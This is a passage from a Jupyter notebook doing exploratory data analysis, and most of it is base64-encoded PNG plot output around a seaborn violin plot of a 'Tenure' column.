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\n" + }, + "metadata": {} + } + ], + "source": [ + "## Tenure\n", + "sns.violinplot(y = dc.Tenure)" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 265 + }, + "id": "EP19CuYspEwv", + "outputId": "1ee06c89-0419-496f-d294-3cfa6526458b" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 16 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": 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RVKyJPXD2vARn9wup8Vt56aWXuP7663n11VdlN1cREXUI/fnPf+app57ipZdewmIJv/FOP/30qPcfyc3NJTMzM+rC8vLysNvt5ObmAjBp0iQWL17caseEOFh5eTmvvPIK119/Ay+99BKeOnBkn4+z1xis7pM6/KSDltIwZuTscRGuXqPwa6n8+9/v8Jvf/Ia//vWv7Ny50+wShcmi/hpXUFDAOeecAxCZcmq1WgmFQidcxL333othGAwZMoS7776bxMREioqKyMrKitwnJSUFXdfxeDytcsztdkddb15e3gn+xqK9KiwsZNWqVazPy8PQDSwJ2bh6nYfmlC7bE6U5U3Fmn4fu34e/4ic+/2I5n332Gb179+bcc8+lT58+HW46uzi2qEOoT58+rFixItJdBrBy5crI2M7xmj9/PpmZmfj9fh577DEefvjhdt9FlpOTExnDErFP13XWrFnDe++9R15eHqpmxZJ0MraUU1BtshpAS1Nt8TgyhmB0ycFfuZVdu7ey/fXXyc7O5oorrmD48OHYbDazyxQtyOfzHfHLe9QhdN9993HzzTczfPhwvF4v06dP57PPPouMDx2vhi46m83G5MmT+d3vfhe5vbCwMHK/iooKVFXF7Xa3yjHR+fh8Pj777DPee/99igoLw5MN0gdjdfdG0eRDsLUpmh172kCM1P4Eq/MpKtvMM888wyuvvsrl48Zx6aWXkpSUZHaZopVF3bE9ePBgPvjgA04++WR+/vOfk52dzb///W8GDRp03C9eV1dHTU0NEJ76+tFHHzFgwAAg3Nrwer2sWbMGgDfffJMxY8a02jHReXg8HubPn8/1N9zAc889R2mlF0fWOeHJBqn9JYDamKJoWJNOwtnrEpw9LqJej+ef//wnN9xwI8899xwFBQVmlyhakWJEuS673+8Pnwtw0Fz/QCCAYRhRNZ0fffRRli5dSllZGcnJybjdbubNm8ftt99OKBRC13X69OnDAw88QHp6eJXh77//nhkzZjSaTp2WltZqx46loUkp3XGxae/evbz77rt88umnBAMBLPFZWFP6o7m6xPxYRN2uZQC4el5sciUtI+SrIlD+E8HqnRgY/GzoUK666ir69etndmniOBztszPqEPrVr37FtGnTGDx4cOS2tWvX8uSTT/KPf/yjZStupySEYtO2bdt45513+PLLL0FRsCT0wpraH82eaHZpLaajhVADPVhPoGILwaqt6EE/OTk5XHXVVZx55pkx/8WhMznaZ2fUY0KbN2/m9NNPb3TboEGD+PHHH1umSiFa2E8//cSbb77JmjVrUDUb1pR+WJP7oVrlZMlYoVqc2NMHYUsdQMCzjU0/beZPf/oTvXv34ZprJjF06FAJoxgXdQglJCRQVlZGly5dIreVlZXJ2c+i3dm4cSNvvPEGa9euRbXYsXU5DVtyXxnriWGKZsWW2h9rSl+CVbvYVbCJxx57jB49ezL5mms455xzZI26GBV1CF1yySXcc889PPDAA3Tv3p38/Hwef/xxxo4d25r1CRG17du38+qrr/L999+jWhzY00/fv6CorFnWUSiKhtXdG0tSL4LV+RTs3cjjjz9Oz569uP76/8OQIUOkZRRjog6hu+66i8cff5yrr74av9+P3W7nyiuv5O67727N+oQ4pqKiIl5//XWWL18ebvmknx5u+ciSOh1WeI26XlgSexCszmdPUR4PPfQQAwcO5Prrr6d///5mlyiiFPXEhAaGYVBZWUlycnKn+8YhExPaF6/Xy1tvvcW7776HboA1uS+21AGdstuto05MiJZhhAhUbiNQsRE94GX48OHceOONJCcnm12aoIUmJgDU1NSwY8cOamtrG93esJyPEG3BMAxWrVrF88//nfLyMiyJPXGlD5YJB52YomjYUk7B6j4Jf9km/rN8OatWfcN1113LZZddhqZpZpcojiDqEHr33Xd5+OGHcblcOByOyO2KorBs2bJWKU6IQ9XW1vLcc8+xfPlyNIcbZ88RWFzpZpcl2glFtWJPH4Q1qRe+4u954YUXWL58Offee29UW86Ithd1CP31r39lzpw5XHjhha1ZjxBHtGnTJp6YNYuysrLwjLfUAbKatWiSak/E0f1CgtX5bNn6HbfffgdTp97K8OHDzS5NHCLqd3AoFOL8889vzVqEOKIvvviC++67j8rqelw9L8aeNlACaD/DMNAD9ei+avyVW2nmMG+H1bDbq/Ok0QTVeJ588kleeeUV+e/TzkT9Lr7pppv429/+hq7rrVmPEIdZuHAhTz75JKqzC86el6A5o1tmqbMIeLZiBPZhhHz49q4h4NlqdkntimqNw9HjIqzuk3nnnXd49tlnW2QLGtEyou6Oe+WVVygrK+PFF188bNXpL774oqXrEgKAFStW8Pe//x1LQjccWeeiqDLAfKhgTeFhP9uS+5pUTfukKCr2jCEomo2lS5cSFxfHjTfeaHZZgmaE0KxZs1qzDiEOs3fvXp5++hksrjQc3c6T7rcjMYJH/1kA4e45e/ogjJCf9957j8GDB3PmmWeaXVanF3UInX322a1ZhxCHeemll/AHQjh7/UwCSLQYe9fB6N5SnnnmWV566UVZ7sdkzTpPaNOmTaxZs4bKyspGg3t33nlnixcmOreqqipWr/4Wzd1XdjcVLUpRLVhTTqWs8Gs2bNjAaaedZnZJnVrUXwH+9a9/cc0117Bq1SpeeOEFNm/ezMsvv0x+fn5r1ic6qf/+97/oeghrYg+zSxEdkCWhG4qqsXr1arNL6fSiDqEXX3yRF198kblz5+JwOJg7dy5z5szBYpH1uUTL8/v9ACgWWR5JtDxFtaBq1sjfmTBP1CFUXl5Obm5u+EGqiq7rXHjhhXz++eetVpzovBq+3BihgMmViI7IMHT0UFCW82kHog6hjIwM9uzZA0CvXr1YtmwZa9asabTdtxAtZdCgQaAoBGv2mF2K6IBC+/Zi6MFGO0